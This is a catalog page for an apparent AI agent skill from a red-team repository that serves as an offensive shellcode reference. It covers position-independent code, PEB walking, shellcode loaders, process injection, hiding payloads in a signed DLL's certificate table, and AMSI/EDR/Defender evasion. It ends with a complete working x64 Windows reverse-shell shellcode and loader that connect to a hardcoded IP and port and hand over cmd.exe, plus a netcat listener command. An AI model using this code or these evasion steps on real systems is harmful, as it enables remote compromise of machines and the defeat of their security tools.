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SnailSploit/Claude-Red/Skills/infrastructure/offensive-shellcode/SKILL.md

offensive-shellcode

Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.

Source repository stars
2,808
Declared platforms
0
Static risk flags
0
Last source update
2026-05-08
Source checked
2026-08-04

Decision brief

What it does—and where it fits

1. Define concept and target platform (x86/x64, Windows/Linux/macOS) 2. Write assembly using position-independent techniques 3. Extract binary and test in controlled environment 4. Apply null byte avoidance and optimizations 5. Encode/encrypt to evade static detection 6. Package…

Best for

  • Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode.

Not for

  • Tasks that require unconfirmed production actions or broad system permissions.
  • Environments where the pinned source and install steps cannot be inspected.

Compatibility matrix

Platform support, with evidence labels

PlatformStatusEvidenceWhat to check
CodexNot declaredNo explicit evidencePortability before use
Claude CodeNot declaredNo explicit evidencePortability before use
CursorNot declaredNo explicit evidencePortability before use
Gemini CLINot declaredNo explicit evidencePortability before use
Open the compatibility checker

Installation

Inspect first. Install second.

The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.

Source-detected install commandSource
npx skills add https://github.com/SnailSploit/Claude-Red --skill "Skills/infrastructure/offensive-shellcode"
Safe inspection promptEditorial

Inspect the Agent Skill "offensive-shellcode" from https://github.com/SnailSploit/Claude-Red/blob/aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e/Skills/infrastructure/offensive-shellcode/SKILL.md at commit aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.

Workflow

What the source asks the agent to do

  1. 01

    Shellcode Development Workflow

    1. Define concept and target platform (x86/x64, Windows/Linux/macOS) 2. Write assembly using position-independent techniques 3. Extract binary and test in controlled environment 4. Apply null byte avoidance and optimizations 5. Encode/encrypt to evade static detection 6. Package…

    Define concept and target platform (x86/x64, Windows/Linux/macOS)Write assembly using position-independent techniquesExtract binary and test in controlled environment
  2. 02

    Allocation Phase

    Avoid RWX allocations — use two-step: - VirtualAllocEx / NtAllocateVirtualMemory — allocate RW - ZwCreateSection + NtMapViewOfSection — alternative approach - After writing: VirtualProtectEx to switch to RX

    VirtualAllocEx / NtAllocateVirtualMemory — allocate RWZwCreateSection + NtMapViewOfSection — alternative approachAfter writing: VirtualProtectEx to switch to RX
  3. 03

    Write Phase

    Evasion tips: - Prepend shellcode with dummy opcodes - Split into chunks, write in randomized order - Add delays between writes

    WriteProcessMemory / NtWriteVirtualMemorymemcpy to mapped sectionPrepend shellcode with dummy opcodes
  4. 04

    Execute Phase

    Most scrutinized step — EDR checks thread start address against image-backed memory:

    FlavorTownAlternativeShellcodeExecThreadlessInject
  5. 05

    Basic Concepts

    Avoid direct PAGEEXECUTEREADWRITE — prefer: 1. Allocate with PAGEREADWRITE 2. Write shellcode to allocated region 3. Call VirtualProtect to switch to PAGEEXECUTEREAD

    Allocate with PAGEREADWRITEWrite shellcode to allocated regionCall VirtualProtect to switch to PAGEEXECUTEREAD

Permission review

Static risk signals and limitations

No configured static risk pattern was detected

This is not proof of safety. Runtime behavior, indirect dependencies, and hidden external systems are outside the static scan.

Evidence record

Why each signal appears

EvidenceSourceComputedTestedEditorial
SignalValueEvidence typeMeaning
Quality score84/100ComputedDocumentation, specificity, maintenance, and trust rules
Repository stars2,808SourceRepository attention, not individual Skill quality
Compatibility0 platformsSourceDeclared in the catalog source record
Usage guideautomated source guideEditorialGenerated or reviewed according to the visible evidence level

Pinned source

Provenance and original SKILL.md

Repository
SnailSploit/Claude-Red
Skill path
Skills/infrastructure/offensive-shellcode/SKILL.md
Commit
aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e
License
MIT
Collected
2026-08-04
Default branch
main
View the original SKILL.md

Shellcode Development Workflow

  1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
  2. Write assembly using position-independent techniques
  3. Extract binary and test in controlled environment
  4. Apply null byte avoidance and optimizations
  5. Encode/encrypt to evade static detection
  6. Package with loader and choose delivery method

Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

  1. Allocate with PAGE_READWRITE
  2. Write shellcode to allocated region
  3. Call VirtualProtect to switch to PAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

MethodPlatformNotes
Call/PopWindowsPush next addr, pop into register
FPU stateWindowsfstenv saves instruction pointer
SEHWindowsException handler stores EIP
GOTLinuxGlobal Offset Table
VDSOLinuxKernel-provided shared object

Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

  1. Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
  2. Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
  3. Hash-compare module names to locate kernel32
  4. Parse the Export Address Table (EAT)
  5. Find GetProcAddress by name hash, then resolve LoadLibraryA
  6. Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode Loaders

Loader Responsibilities

  • Environment verification / keying (sandbox detection)
  • Shellcode decryption
  • Safe memory allocation and injection
  • Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

  • VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
  • ZwCreateSection + NtMapViewOfSection — alternative approach
  • After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

  • WriteProcessMemory / NtWriteVirtualMemory
  • memcpy to mapped section

Evasion tips:

  • Prepend shellcode with dummy opcodes
  • Split into chunks, write in randomized order
  • Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

TechniqueNotes
CreateRemoteThread / ZwCreateThreadExLoud, heavily monitored
NtSetContextThreadHijack suspended thread
NtQueueApcThreadExAPC injection
API trampolinesOverwrite function prologue
ThreadlessInjectNo new threads created

Indirect execution resources:


PE-to-Shellcode Conversion

ToolPurpose
DonutEXE/DLL → shellcode
sRDIDLL → position-independent shellcode
Pe2shcPE → shellcode
AmberReflective PE packer

Open-source loaders:

  • ScareCrow
  • NimPackt-v1
  • NullGate — indirect syscalls + junk-write sequencing
  • DripLoader — chunked RW writes + direct syscalls + JMP trampoline
  • ProtectMyTooling — chain multiple protections
  • Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

Shellcode Storage & Hiding

LocationRiskNotes
Hardcoded in .textMediumRequires recompile; stored RW/RO
PE Resources (RCDATA)HighMost scanned by AV
Extra PE sectionMediumUse second-to-last section
Certificate TableLowKeeps signed PE signature intact
Internet-hostedVariableSharpShooter

Certificate Table technique (recommended):

  • Pad Certificate Table with shellcode bytes; update PE headers
  • Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
  • Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.


Evasion

Progressive Evasion Escalation

  1. Basic shellcode execution (baseline)
  2. Add XOR/AES encryption + obfuscation
  3. Direct syscalls to bypass userland hooks
  4. Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

  • CFG / CIG enforcement
  • ETW Ti feeds
  • EDR call-stack back-tracing (NtOpenProcess invocation source)
  • More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

  • myEncoder3.py — XOR-encrypt binary shellcode
  • InjectBasic.cpp — basic C++ injector
  • InjectCryptXOR.cpp — XOR decrypt + inject
  • InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
  • InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

Cross-Platform Considerations

Windows on ARM64 (WoA)

  • Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
  • Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

  • BPF_MAP_TYPE_ARENA maps can hold executable memory
  • Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

  • macOS 12+ seals the system partition; unsigned payloads cannot reside there
  • Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
  • Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

DripLoader Technique

github.com/xuanxuan0/DripLoader:

  1. Reserve 64KB chunks with NO_ACCESS
  2. Allocate 4KB RW chunks within that pool
  3. Write shellcode in chunks in randomized order
  4. Re-protect to RX
  5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
  6. All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddressLoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"
    "   push rax                    ;" # lpProcessInformation
    "   push rdi                    ;" # lpStartupInfo
    "   xor rax, rax                ;"
    "   push rax                    ;" # lpCurrentDirectory = NULL
    "   push rax                    ;" # lpEnvironment = NULL
    "   push rax                    ;"
    "   inc rax                     ;"
    "   push rax                    ;" # bInheritHandles = TRUE
    "   xor rax, rax                ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;" # dwCreationFlags = 0
    "   mov r8, rax                 ;" # lpThreadAttributes = NULL
    "   mov r9, rax                 ;" # lpProcessAttributes = NULL
    "   mov rdx, rcx                ;" # lpCommandLine = 'cmd.exe'
    "   mov rcx, rax                ;" # lpApplicationName = NULL
    "   call r12                    ;" # CreateProcessA
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

Note: Update IP (0x31061fac) and port (0xbb01) before use. Listener: nc -nvlp 443

Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.

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